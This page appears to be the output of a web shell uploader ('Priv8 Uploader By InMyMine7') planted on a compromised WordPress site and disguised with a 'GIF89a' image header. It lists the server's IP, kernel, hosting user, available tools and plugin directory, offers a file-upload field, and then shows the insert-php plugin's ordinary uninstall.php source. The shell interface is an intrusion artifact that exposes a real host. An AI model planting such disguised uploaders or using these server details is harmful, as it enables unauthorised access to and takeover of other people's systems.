GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/ai.nr7.net/wp-content/plugins/insert-php/ |
Upload File : |
<?php
/**
* If uninstall.php is not called by WordPress, die.
*/
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
die;
}
// @formatter:off
/**
* Uninstall function to clean up plugin data.
*/
function winp_uninstall() {
global $wpdb;
$post_type = 'wbcr-snippets';
$taxonomy = 'wbcr-snippet-tags';
$snippets = get_posts(
[
'post_type' => $post_type,
'post_status' => [ 'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash' ],
'numberposts' => - 1,
]
);
if ( ! empty( $snippets ) ) {
foreach ( (array) $snippets as $snippet ) {
wp_delete_post( $snippet->ID, true );
}
}
$query = 'SELECT t.name, t.term_id
FROM ' . $wpdb->terms . ' AS t
INNER JOIN ' . $wpdb->term_taxonomy . ' AS tt
ON t.term_id = tt.term_id
WHERE tt.taxonomy = "' . $taxonomy . '"';
$terms = $wpdb->get_results( $query );
if ( ! empty( $terms ) ) {
if ( ! taxonomy_exists( $taxonomy ) ) {
register_taxonomy( $taxonomy, $post_type, [] );
}
foreach ( $terms as $term ) {
wp_delete_term( $term->term_id, $taxonomy );
}
unregister_taxonomy( $taxonomy );
}
// Remove plugin options.
$wpdb->query( "DELETE FROM {$wpdb->prefix}options WHERE option_name LIKE 'wbcr_inp_%';" );
}
if ( is_multisite() ) {
global $wpdb, $wp_version;
$wpdb->query( "DELETE FROM {$wpdb->sitemeta} WHERE meta_key LIKE 'wbcr_inp_%';" );
$blogs = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );
if ( ! empty( $blogs ) ) {
foreach ( $blogs as $blog_id ) {
switch_to_blog( $blog_id );
winp_uninstall();
restore_current_blog();
}
}
} elseif ( get_option( 'wbcr_inp_complete_uninstall', true ) ) {
winp_uninstall();
}
// @formatter:on